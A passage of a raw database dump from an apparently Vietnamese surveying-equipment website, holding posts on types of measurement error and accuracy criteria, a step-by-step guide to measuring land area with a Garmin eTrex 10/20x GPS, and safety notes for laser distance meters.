style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '56568', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và 